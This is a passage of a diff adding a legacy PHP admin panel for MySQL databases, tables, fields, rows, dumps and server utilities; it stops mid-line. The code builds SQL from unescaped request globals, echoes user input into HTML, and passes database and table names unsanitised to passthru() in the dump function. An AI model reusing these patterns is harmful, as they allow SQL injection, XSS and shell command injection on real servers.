"<html>"; + echo "<head>"; + echo "<META HTTP-EQUIV=Refresh CONTENT='0; +URL=$PHP_SELF?action=listDBs'>"; + echo "</head>"; + echo "</html>"; +} + +function echoQueryResult() { + global $queryStr, $errMsg; + + if( $errMsg == "" ) $errMsg = "Success"; + if( $queryStr != "" ) { + echo "<table cellpadding=5>\n"; + echo "<tr><td>Query</td><td>$queryStr</td></tr>\n"; + echo "<tr><td>Result</td><td>$errMsg</td></tr>\n"; + echo "</table><p>\n"; + } +} + +function listDatabases() { + global $mysqlHandle, $PHP_SELF; + + echo "<h1>Database List</h1>\n"; + + echo "<form action='$PHP_SELF'>\n"; + echo "<input type=hidden name=action value=createDB>\n"; + echo "<input type=text name=dbname>\n"; + echo "<input type=submit value='Create Database'>\n"; + echo "</form>\n"; + echo "<hr>\n"; + + echo "<table cellspacing=1 cellpadding=5>\n"; + + $pDB = mysql_list_dbs( $mysqlHandle ); + $num = mysql_num_rows( $pDB ); + for( $i = 0; $i < $num; $i++ ) { + $dbname = mysql_dbname( $pDB, $i ); + echo "<tr>\n"; + echo "<td>$dbname</td>\n"; + echo "<td><a +href='$PHP_SELF?action=listTables&dbname=$dbname'>Table</a></td>\n"; + echo "<td><a href='$PHP_SELF?action=dropDB&dbname=$dbname' +onClick=\"return confirm('Drop Database +\'$dbname\'?')\">Drop</a></td>\n"; + echo "<td><a +href='$PHP_SELF?action=dumpDB&dbname=$dbname'>Dump</a></td>\n"; + echo "</tr>\n"; + } + echo "</table>\n"; +} + +function createDatabase() { + global $mysqlHandle, $dbname, $PHP_SELF; + + mysql_create_db( $dbname, $mysqlHandle ); + listDatabases(); +} + +function dropDatabase() { + global $mysqlHandle, $dbname, $PHP_SELF; + + mysql_drop_db( $dbname, $mysqlHandle ); + listDatabases(); +} + +function listTables() { + global $mysqlHandle, $dbname, $PHP_SELF; + + echo "<h1>Table List</h1>\n"; + echo "<p class=location>$dbname</p>\n"; + echoQueryResult(); + echo "<form action='$PHP_SELF'>\n"; + echo "<input type=hidden name=action value=createTable>\n"; + echo "<input type=hidden name=dbname value=$dbname>\n"; + echo "<input type=text name=tablename>\n"; + echo "<input type=submit value='Create Table'>\n"; + echo "</form>\n"; + echo "<form action='$PHP_SELF'>\n"; + echo "<input type=hidden name=action value=query>\n"; + echo "<input type=hidden name=dbname value=$dbname>\n"; + echo "<input type=text size=40 name=queryStr>\n"; + //echo "<textarea cols=30 rows=3 name=queryStr></textarea><br>"; + echo "<input type=submit value='Query'>\n"; + echo "</form>\n"; + echo "<hr>\n"; + + $pTable = mysql_list_tables( $dbname ); + + if( $pTable == 0 ) { + $msg = mysql_error(); + echo "<h3>Error : $msg</h3><p>\n"; + return; + } + $num = mysql_num_rows( $pTable ); + + echo "<table cellspacing=1 cellpadding=5>\n"; + + for( $i = 0; $i < $num; $i++ ) { + $tablename = mysql_tablename( $pTable, $i ); + + echo "<tr>\n"; + echo "<td>\n"; + echo "$tablename\n"; + echo "</td>\n"; + echo "<td>\n"; + echo "<a +href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n"; + echo "</td>\n"; + echo "<td>\n"; + echo "<a +href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename'>Data</a>\n"; + echo "</td>\n"; + echo "<td>\n"; + echo "<a +href='$PHP_SELF?action=dropTable&dbname=$dbname&tablename=$tablename' +onClick=\"return confirm('Drop Database \'$dbname\'?')\">Drop</a>\n"; + echo "</td>\n"; + echo "<td>\n"; + echo "<a +href='$PHP_SELF?action=dumpTable&dbname=$dbname&tablename=$tablename'>Dump</a>\n"; + echo "</td>\n"; + echo "</tr>\n"; + } + + echo "</table>"; +} + +function createTable() { + global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, +$errMsg; + + $queryStr = "CREATE TABLE $tablename ( no INT )"; + mysql_select_db( $dbname, $mysqlHandle ); + mysql_query( $queryStr, $mysqlHandle ); + $errMsg = mysql_error(); + + listTables(); +} + +function dropTable() { + global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, +$errMsg; + + $queryStr = "DROP TABLE $tablename"; + mysql_select_db( $dbname, $mysqlHandle ); + mysql_query( $queryStr, $mysqlHandle ); + $errMsg = mysql_error(); + + listTables(); +} + +function viewSchema() { + global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, +$errMsg; + + echo "<h1>Table Schema</h1>\n"; + echo "<p class=location>$dbname &gt; $tablename</p>\n"; + + echoQueryResult(); + + echo "<a +href='$PHP_SELF?action=addField&dbname=$dbname&tablename=$tablename'>Add +Field</a> | \n"; + echo "<a +href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename'>View +Data</a>\n"; + echo "<hr>\n"; + + $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" ); + $num = mysql_num_rows( $pResult ); + + echo "<table cellspacing=1 cellpadding=5>\n"; + echo "<tr>\n"; + echo "<th>Field</th>\n"; + echo "<th>Type</th>\n"; + echo "<th>Null</th>\n"; + echo "<th>Key</th>\n"; + echo "<th>Default</th>\n"; + echo "<th>Extra</th>\n"; + echo "<th colspan=2>Action</th>\n"; + echo "</tr>\n"; + + for( $i = 0; $i < $num; $i++ ) { + $field = mysql_fetch_array( $pResult ); + echo "<tr>\n"; + echo "<td>".$field["Field"]."</td>\n"; + echo "<td>".$field["Type"]."</td>\n"; + echo "<td>".$field["Null"]."</td>\n"; + echo "<td>".$field["Key"]."</td>\n"; + echo "<td>".$field["Default"]."</td>\n"; + echo "<td>".$field["Extra"]."</td>\n"; + $fieldname = $field["Field"]; + echo "<td><a +href='$PHP_SELF?action=editField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname'>Edit</a></td>\n"; + echo "<td><a +href='$PHP_SELF?action=dropField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname' +onClick=\"return confirm('Drop Field +\'$fieldname\'?')\">Drop</a></td>\n"; + echo "</tr>\n"; + } + echo "</table>\n"; +} + +function manageField( $cmd ) { + global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF; + + if( $cmd == "add" ) + echo "<h1>Add Field</h1>\n"; + else if( $cmd == "edit" ) { + echo "<h1>Edit Field</h1>\n"; + $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" ); + $num = mysql_num_rows( $pResult ); + for( $i = 0; $i < $num; $i++ ) { + $field = mysql_fetch_array( $pResult ); + if( $field["Field"] == $fieldname ) { + $fieldtype = $field["Type"]; + $fieldkey = $field["Key"]; + $fieldextra = $field["Extra"]; + $fieldnull = $field["Null"]; + $fielddefault = $field["Default"]; + break; + } + } + $type = strtok( $fieldtype, " (,)\n" ); + if( strpos( $fieldtype, "(" ) ) { + if( $type == "enum" | $type == "set" ) { + $valuelist = strtok( " ()\n" ); + } else { + $M = strtok( " (,)\n" ); + if( strpos( $fieldtype, "," ) ) + $D = strtok( " (,)\n" ); + } + } + } + + echo "<p class=location>$dbname &gt; $tablename</p>\n"; + echo "<form action=$PHP_SELF>\n"; + + if( $cmd == "add" ) + echo "<input type=hidden name=action value=addField_submit>\n"; + else if( $cmd == "edit" ) { + echo "<input type=hidden name=action value=editField_submit>\n"; + echo "<input type=hidden name=old_name value=$fieldname>\n"; + } + echo "<input type=hidden name=dbname value=$dbname>\n"; + echo "<input type=hidden name=tablename value=$tablename>\n"; + + echo "<h3>Name</h3>\n"; + echo "<input type=text name=name value=$fieldname><p>\n"; +?> + +<h3>Type</h3> + +<font size=2> +* `M' indicates the maximum display size.<br> +* `D' applies to floating-point types and indicates the number of +digits +following the decimal point.<br> +</font> + +<table> +<tr> +<th>Type</th><th>&nbspM&nbsp</th><th>&nbspD&nbsp</th><th>unsigned</th><th>zerofill</th><th>binary</th> +</tr> +<tr> +<td><input type=radio name=type value="TINYINT" <? if( $type == +"tinyint" ) +echo "checked";?>>TINYINT (-128 ~ 127)</td> +<td align=center>O</td> +<td>&nbsp</td> +<td align=center>O</td> +<td align=center>O</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="SMALLINT" <? if( $type == +"smallint" +) echo "checked";?>>SMALLINT (-32768 ~ 32767)</td> +<td align=center>O</td> +<td>&nbsp</td> +<td align=center>O</td> +<td align=center>O</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="MEDIUMINT" <? if( $type == +"mediumint" ) echo "checked";?>>MEDIUMINT (-8388608 ~ 8388607)</td> +<td align=center>O</td> +<td>&nbsp</td> +<td align=center>O</td> +<td align=center>O</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="INT" <? if( $type == "int" ) +echo +"checked";?>>INT (-2147483648 ~ 2147483647)</td> +<td align=center>O</td> +<td>&nbsp</td> +<td align=center>O</td> +<td align=center>O</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="BIGINT" <? if( $type == "bigint" +) +echo "checked";?>>BIGINT (-9223372036854775808 ~ +9223372036854775807)</td> +<td align=center>O</td> +<td>&nbsp</td> +<td align=center>O</td> +<td align=center>O</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="FLOAT" <? if( $type == "float" ) +echo +"checked";?>>FLOAT</td> +<td align=center>O</td> +<td align=center>O</td> +<td>&nbsp</td> +<td align=center>O</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="DOUBLE" <? if( $type == "double" +) +echo "checked";?>>DOUBLE</td> +<td align=center>O</td> +<td align=center>O</td> +<td>&nbsp</td> +<td align=center>O</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="DECIMAL" <? if( $type == +"decimal" ) +echo "checked";?>>DECIMAL(NUMERIC)</td> +<td align=center>O</td> +<td align=center>O</td> +<td>&nbsp</td> +<td align=center>O</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="DATE" <? if( $type == "date" ) +echo +"checked";?>>DATE (1000-01-01 ~ 9999-12-31, YYYY-MM-DD)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="DATETIME" <? if( $type == +"datetime" +) echo "checked";?>>DATETIME (1000-01-01 00:00:00 ~ 9999-12-31 +23:59:59, +YYYY-MM-DD HH:MM:SS)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="TIMESTAMP" <? if( $type == +"timestamp" ) echo "checked";?>>TIMESTAMP (1970-01-01 00:00:00 ~ +2106..., +YYYYMMDD[HH[MM[SS]]])</td> +<td align=center>O</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="TIME" <? if( $type == "time" ) +echo +"checked";?>>TIME (-838:59:59 ~ 838:59:59, HH:MM:SS)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="YEAR" <? if( $type == "year" ) +echo +"checked";?>>YEAR (1901 ~ 2155, 0000, YYYY)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="CHAR" <? if( $type == "char" ) +echo +"checked";?>>CHAR</td> +<td align=center>O</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td align=center>O</td> +</tr> +<tr> +<td><input type=radio name=type value="VARCHAR" <? if( $type == +"varchar" ) +echo "checked";?>>VARCHAR</td> +<td align=center>O</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td align=center>O</td> +</tr> +<tr> +<td><input type=radio name=type value="TINYTEXT" <? if( $type == +"tinytext" +) echo "checked";?>>TINYTEXT (0 ~ 255)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="TEXT" <? if( $type == "text" ) +echo +"checked";?>>TEXT (0 ~ 65535)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="MEDIUMTEXT" <? if( $type == +"mediumtext" ) echo "checked";?>>MEDIUMTEXT (0 ~ 16777215)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="LONGTEXT" <? if( $type == +"longtext" +) echo "checked";?>>LONGTEXT (0 ~ 4294967295)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="TINYBLOB" <? if( $type == +"tinyblob" +) echo "checked";?>>TINYBLOB (0 ~ 255)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="BLOB" <? if( $type == "blob" ) +echo +"checked";?>>BLOB (0 ~ 65535)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="MEDIUMBLOB" <? if( $type == +"mediumblob" ) echo "checked";?>>MEDIUMBLOB (0 ~ 16777215)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="LONGBLOB" <? if( $type == +"longblob" +) echo "checked";?>>LONGBLOB (0 ~ 4294967295)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="ENUM" <? if( $type == "enum" ) +echo +"checked";?>>ENUM</td> +<td colspan=5><center>value list</center></td> +</tr> +<tr> +<td><input type=radio name=type value="SET" <? if( $type == "set" ) +echo +"checked";?>>SET</td> +<td colspan=5><center>value list</center></td> +</tr> + +</table> +<table> +<tr><th>M</th><th>D</th><th>unsigned</th><th>zerofill</th><th>binary</th><th>value +list (ex: 'apple', 'orange', 'banana') </th></tr> +<tr> +<td align=center><input type=text size=4 name=M <? if( $M != "" ) echo +"value=$M";?>></td> +<td align=center><input type=text size=4 name=D <? if( $D != "" ) echo +"value=$D";?>></td> +<td align=center><input type=checkbox name=unsigned value="UNSIGNED" <? +if( +strpos( $fieldtype, "unsigned" ) ) echo "checked";?>></td> +<td align=center><input type=checkbox name=zerofill value="ZEROFILL" <? +if( +strpos( $fieldtype, "zerofill" ) ) echo "checked";?>></td> +<td align=center><input type=checkbox name=binary value="BINARY" <? if( +strpos( $fieldtype, "binary" ) ) echo "checked";?>></td> +<td align=center><input type=text size=60 name=valuelist <? if( +$valuelist +!= "" ) echo "value=\"$valuelist\"";?>></td> +</tr> +</table> + + +<h3>Flags</h3> +<table> +<tr><th>not null</th><th>default value</th><th>auto +increment</th><th>primary key</th></tr> +<tr> +<td align=center><input type=checkbox name=not_null value="NOT NULL" <? +if( +$fieldnull != "YES" ) echo "checked";?>></td> +<td align=center><input type=text name=default_value <? if( +$fielddefault != +"" ) echo "value=$fielddefault";?>></td> +<td align=center><input type=checkbox name=auto_increment +value="AUTO_INCREMENT" <? if( $fieldextra == "auto_increment" ) echo +"checked";?>></td> +<td align=center><input type=checkbox name=primary_key value="PRIMARY +KEY" +<? if( $fieldkey == "PRI" ) echo "checked";?>></td> +</tr> +</table> + +<p> + +<? + if( $cmd == "add" ) + echo "<input type=submit value='Add Field'>\n"; + else if( $cmd == "edit" ) + echo "<input type=submit value='Edit Field'>\n"; + echo "<input type=button value=Cancel onClick='history.back()'>\n"; + echo "</form>\n"; +} + +function manageField_submit( $cmd ) { + global $mysqlHandle, $dbname, $tablename, $old_name, $name, $type, +$PHP_SELF, $queryStr, $errMsg, + $M, $D, $unsigned, $zerofill, $binary, $not_null, $default_value, +$auto_increment, $primary_key, $valuelist; + + if( $cmd == "add" ) + $queryStr = "ALTER TABLE $tablename ADD $name "; + else if( $cmd == "edit" ) + $queryStr = "ALTER TABLE $tablename CHANGE $old_name $name "; + + if( $M != "" ) + if( $D != "" ) + $queryStr .= "$type($M,$D) "; + else + $queryStr .= "$type($M) "; + else if( $valuelist != "" ) { + $valuelist = stripslashes( $valuelist ); + $queryStr .= "$type($valuelist) "; + } else + $queryStr .= "$type "; + + $queryStr .= "$unsigned $zerofill $binary "; + + if( $default_value != "" ) + $queryStr .= "DEFAULT '$default_value' "; + + $queryStr .= "$not_null $auto_increment"; + + mysql_select_db( $dbname, $mysqlHandle ); + mysql_query( $queryStr, $mysqlHandle ); + $errMsg = mysql_error(); + + // key change + $keyChange = false; + $result = mysql_query( "SHOW KEYS FROM $tablename" ); + $primary = ""; + while( $row = mysql_fetch_array($result) ) + if( $row["Key_name"] == "PRIMARY" ) { + if( $row[Column_name] == $name ) + $keyChange = true; + else + $primary .= ", $row[Column_name]"; + } + if( $primary_key == "PRIMARY KEY" ) { + $primary .= ", $name"; + $keyChange = !$keyChange; + } + $primary = substr( $primary, 2 ); + if( $keyChange == true ) { + $q = "ALTER TABLE $tablename DROP PRIMARY KEY"; + mysql_query( $q ); + $queryStr .= "<br>\n" . $q; + $errMsg .= "<br>\n" . mysql_error(); + $q = "ALTER TABLE $tablename ADD PRIMARY KEY( $primary )"; + mysql_query( $q ); + $queryStr .= "<br>\n" . $q; + $errMsg .= "<br>\n" . mysql_error(); + } + + viewSchema(); +} + +function dropField() { + global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, +$queryStr, +$errMsg; + + $queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname"; + mysql_select_db( $dbname, $mysqlHandle ); + mysql_query( $queryStr , $mysqlHandle ); + $errMsg = mysql_error(); + + viewSchema(); +} + +function viewData( $queryStr ) { + global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, +$rowperpage, $orderby; + + echo "<h1>Data in Table</h1>\n"; + if( $tablename != "" ) + echo "<p class=location>$dbname &gt; $tablename</p>\n"; + else + echo "<p class=location>$dbname</p>\n"; + + $queryStr = stripslashes( $queryStr ); + if( $queryStr == "" ) { + $queryStr = "SELECT * FROM $tablename"; + if( $orderby != "" ) + $queryStr .= " ORDER BY $orderby"; + echo "<a +href='$PHP_SELF?action=addData&dbname=$dbname&tablename=$tablename'>Add +Data</a> | \n"; + echo "<a +href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n"; + } + + $pResult = mysql_db_query( $dbname, $queryStr ); + $errMsg = mysql_error(); + + $GLOBALS[queryStr] = $queryStr; + + if( $pResult == false ) { + echoQueryResult(); + return; + } + if( $pResult == 1 ) { + $errMsg = "Success"; + echoQueryResult(); + return; + } + + echo "<hr>\n"; + + $row = mysql_num_rows( $pResult ); + $col = mysql_num_fields( $pResult ); + + if( $row == 0 ) { + echo "No Data Exist!"; + return; + } + + if( $rowperpage == "" ) $rowperpage = 20; + if( $page == "" ) $page = 0; + else $page--; + mysql_data_seek( $pResult, $page * $rowperpage ); + + echo "<table cellspacing=1 cellpadding=2>\n"; + echo "<tr>\n"; + for( $i = 0; $i < $col; $i++ ) { + $field = mysql_fetch_field( $pResult, $i ); + echo "<th>"; + echo "<a +href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename&orderby=".$field->name."'>".$field->name."</a>\n"; + echo "</th>\n"; + } + echo "<th colspan=2>Action</th>\n"; + echo "</tr>\n"; + + for( $i = 0; $i < $rowperpage; $i++ ) { + $rowArray = mysql_fetch_row( $pResult ); + if( $rowArray == false ) break; + echo "<tr>\n"; + $key = ""; + for( $j = 0; $j < $col; $j++ ) { + $data = $rowArray[$j]; + + $field = mysql_fetch_field( $pResult, $j ); + if( $field->primary_key == 1 ) + $key .= "&" . $field->name . "=" . $data; + + if( strlen( $data ) > 20 ) + $data = substr( $data, 0, 20 ) . "..."; + $data = htmlspecialchars( $data ); + echo "<td>\n"; + echo "$data\n"; + echo "</td>\n"; + } + + if( $key == "" ) + echo "<td colspan=2>no Key</td>\n"; + else { + echo "<td><a +href='$PHP_SELF?action=editData&dbname=$dbname&tablename=$tablename$key'>Edit</a></td>\n"; + echo "<td><a +href='$PHP_SELF?action=deleteData&dbname=$dbname&tablename=$tablename$key' +onClick=\"return confirm('Delete Row?')\">Delete</a></td>\n"; + } + echo "</tr>\n"; + } + echo "</table>\n"; + + echo "<font size=2>\n"; + echo "<form +action='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename' +method=post>\n"; + echo "<font color=green>\n"; + echo ($page+1)."/".(int)($row/$rowperpage+1)." page"; + echo "</font>\n"; + echo " | "; + if( $page > 0 ) { + echo "<a +href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename&page=".($page); + if( $orderby != "" ) + echo "&orderby=$orderby"; + echo "'>Prev</a>\n"; + } else + echo "Prev"; + echo " | "; + if( $page < ($row/$rowperpage)-1 ) { + echo "<a +href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename&page=".($page+2); + if( $orderby != "" ) + echo "&orderby=$orderby"; + echo "'>Next</a>\n"; + } else + echo "Next"; + echo " | "; + if( $row > $rowperpage ) { + echo "<input type=text size=4 name=page>\n"; + echo "<input type=submit value='Go'>\n"; + } + echo "</form>\n"; + echo "</font>\n"; +} + +function manageData( $cmd ) { + global $mysqlHandle, $dbname, $tablename, $PHP_SELF; + + if( $cmd == "add" ) + echo "<h1>Add Data</h1>\n"; + else if( $cmd == "edit" ) { + echo "<h1>Edit Data</h1>\n"; + $pResult = mysql_list_fields( $dbname, $tablename ); + $num = mysql_num_fields( $pResult ); + + $key = ""; + for( $i = 0; $i < $num; $i++ ) { + $field = mysql_fetch_field( $pResult, $i ); + if( $field->primary_key == 1 ) + if( $field->numeric == 1 ) + $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND "; + else + $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND "; + } + $key = substr( $key, 0, strlen($key)-4 ); + + mysql_select_db( $dbname, $mysqlHandle ); + $pResult = mysql_query( $queryStr = "SELECT * FROM $tablename WHERE +$key", $mysqlHandle ); + $data = mysql_fetch_array( $pResult ); + } + + echo "<p class=location>$dbname &gt; $tablename</p>\n"; + + echo "<form action='$PHP_SELF' method=post>\n"; + if( $cmd == "add" ) + echo "<input type=hidden name=action value=addData_submit>\n"; + else if( $cmd == "edit" ) + echo "<input type=hidden name=action value=editData_submit>\n"; + echo "<input type=hidden name=dbname value=$dbname>\n"; + echo "<input type=hidden name=tablename value=$tablename>\n"; + echo "<table cellspacing=1 cellpadding=2>\n"; + echo "<tr>\n"; + echo "<th>Name</th>\n"; + echo "<th>Type</th>\n"; + echo "<th>Function</th>\n"; + echo "<th>Data</th>\n"; + echo "</tr>\n"; + + $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" ); + $num = mysql_num_rows( $pResult ); + + $pResultLen = mysql_list_fields( $dbname, $tablename ); + + for( $i = 0; $i < $num; $i++ ) { + $field = mysql_fetch_array( $pResult ); + $fieldname = $field["Field"]; + $fieldtype = $field["Type"]; + $len = mysql_field_len( $pResultLen, $i ); + + echo "<tr>"; + echo "<td>$fieldname</td>"; + echo "<td>".$field["Type"]."</td>"; + echo "<td>\n"; + echo "<select name=${fieldname}_function>\n"; + echo "<option>\n"; + echo "<option>ASCII\n"; + echo "<option>CHAR\n"; + echo "<option>SOUNDEX\n"; + echo "<option>CURDATE\n"; + echo "<option>CURTIME\n"; + echo "<option>FROM_DAYS\n"; + echo "<option>FROM_UNIXTIME\n"; + echo "<option>NOW\n"; + echo "<option>PASSWORD\n"; + echo "<option>PERIOD_ADD\n"; + echo "<option>PERIOD_DIFF\n"; + echo "<option>TO_DAYS\n"; + echo "<option>USER\n"; + echo "<option>WEEKDAY\n"; + echo "<option>RAND\n"; + echo "</select>\n"; + echo "</td>\n"; + $value = htmlspecialchars($data[$i]); + if( $cmd == "add" ) { + $type = strtok( $fieldtype, " (,)\n" ); + if( $type == "enum" || $type == "set" ) { + echo "<td>\n"; + if( $type == "enum" ) + echo "<select name=$fieldname>\n"; + else if( $type == "set" ) + echo "<select name=$fieldname size=4 multiple>\n"; + echo strtok( "'" ); + while( $str = strtok( "'" ) ) { + echo "<option>$str\n"; + strtok( "'" ); + } + echo "</select>\n"; + echo "</td>\n"; + } else { + if( $len < 40 ) + echo "<td><input type=text size=40 maxlength=$len +name=$fieldname></td>\n"; + else + echo "<td><textarea cols=40 rows=3 maxlength=$len +name=$fieldname></textarea>\n"; + } + } else if( $cmd == "edit" ) { + $type = strtok( $fieldtype, " (,)\n" ); + if( $type == "enum" || $type == "set" ) { + echo "<td>\n"; + if( $type == "enum" ) + echo "<select name=$fieldname>\n"; + else if( $type == "set" ) + echo "<select name=$fieldname size=4 multiple>\n"; + echo strtok( "'" ); + while( $str = strtok( "'" ) ) { + if( $value == $str ) + echo "<option selected>$str\n"; + else + echo "<option>$str\n"; + strtok( "'" ); + } + echo "</select>\n"; + echo "</td>\n"; + } else { + if( $len < 40 ) + echo "<td><input type=text size=40 maxlength=$len name=$fieldname +value=\"$value\"></td>\n"; + else + echo "<td><textarea cols=40 rows=3 maxlength=$len +name=$fieldname>$value</textarea>\n"; + } + } + echo "</tr>"; + } + echo "</table><p>\n"; + if( $cmd == "add" ) + echo "<input type=submit value='Add Data'>\n"; + else if( $cmd == "edit" ) + echo "<input type=submit value='Edit Data'>\n"; + echo "<input type=button value='Cancel' onClick='history.back()'>\n"; + echo "</form>\n"; +} + +function manageData_submit( $cmd ) { + global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, +$queryStr, +$errMsg; + + $pResult = mysql_list_fields( $dbname, $tablename ); + $num = mysql_num_fields( $pResult ); + + mysql_select_db( $dbname, $mysqlHandle ); + if( $cmd == "add" ) + $queryStr = "INSERT INTO $tablename VALUES ("; + else if( $cmd == "edit" ) + $queryStr = "REPLACE INTO $tablename VALUES ("; + for( $i = 0; $i < $num-1; $i++ ) { + $field = mysql_fetch_field( $pResult ); + $func = $GLOBALS[$field->name."_function"]; + if( $func != "" ) + $queryStr .= " $func("; + if( $field->numeric == 1 ) { + $queryStr .= $GLOBALS[$field->name]; + if( $func != "" ) + $queryStr .= "),"; + else + $queryStr .= ","; + } else { + $queryStr .= "'" . $GLOBALS[$field->name]; + if( $func != "" ) + $queryStr .= "'),"; + else + $queryStr .= "',"; + } + } + $field = mysql_fetch_field( $pResult ); + if( $field->numeric == 1 ) + $queryStr .= $GLOBALS[$field->name] . ")"; + else + $queryStr .= "'" . $GLOBALS[$field->name] . "')"; + + mysql_query( $queryStr , $mysqlHandle ); + $errMsg = mysql_error(); + + viewData( "" ); +} + +function deleteData() { + global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, +$queryStr, +$errMsg; + + $pResult = mysql_list_fields( $dbname, $tablename ); + $num = mysql_num_fields( $pResult ); + + $key = ""; + for( $i = 0; $i < $num; $i++ ) { + $field = mysql_fetch_field( $pResult, $i ); + if( $field->primary_key == 1 ) + if( $field->numeric == 1 ) + $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND "; + else + $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND "; + } + $key = substr( $key, 0, strlen($key)-4 ); + + mysql_select_db( $dbname, $mysqlHandle ); + $queryStr = "DELETE FROM $tablename WHERE $key"; + mysql_query( $queryStr, $mysqlHandle ); + $errMsg = mysql_error(); + + viewData( "" ); +} + +function dump() { + global $PHP_SELF, $USERNAME, $PASSWORD, $action, $dbname, $tablename; + + if( $action == "dumpTable" ) + $filename = $tablename; + else + $filename = $dbname; + + header("Content-disposition: filename=$filename.sql"); + header("Content-type: application/octetstream"); + header("Pragma: no-cache"); + header("Expires: 0"); + + $pResult = mysql_query( "show variables" ); + while( 1 ) { + $rowArray = mysql_fetch_row( $pResult ); + if( $rowArray == false ) break; + if( $rowArray[0] == "basedir" ) + $bindir = $rowArray[1]."bin/"; + } + + passthru( $bindir."mysqldump --user=$USERNAME --password=$PASSWORD +$dbname +$tablename" ); +} + +function utils() { + global $PHP_SELF, $command; + echo "<h1>Utilities</h1>\n"; + if( $command == "" || substr( $command, 0, 5 ) == "flush" ) { + echo "<hr>\n"; + echo "Show\n"; + echo "<ul>\n"; + echo "<li><a +href='$PHP_SELF?action=utils&command=show_status'>Status</a>\n"; + echo "<li><a +href='$PHP_SELF?action=utils&command=show_variables'>Variables</a>\n"; + echo "<li><a +href='$PHP_SELF?action=utils&command=show_processlist'>Processlist</a>\n"; + echo "</ul>\n"; + echo "Flush\n"; + echo "<ul>\n"; + echo "<li><a +href='$PHP_SELF?action=utils&command=flush_hosts'>Hosts</a>\n"; + if( $command == "flush_hosts" ) { + if( mysql_query( "Flush hosts" ) != false ) + echo "<font size=2 color=red>- Success</font>"; + else + echo "<font size=2 color=red>- Fail</font>"; + } + echo "<li><a +href='$PHP_SELF?action=utils&command=flush_logs'>Logs</a>\n"; + if( $command == "flush_logs" ) { + if( mysql_query( "Flush logs" ) != false ) + echo "<font size=2 color=red>- Success</font>"; + else + echo "<font size=2 color=red>- Fail</font>"; + } + echo "<li><a +href='$PHP_SELF?action=utils&command=flush_privileges'>Privileges</a>\n"; + if( $command == "flush_privileges" ) { + if( mysql_query( "Flush privileges" ) != false ) + echo "<font size=2 color=red>- Success</font>"; + else + echo "<font size=2 color=red>- 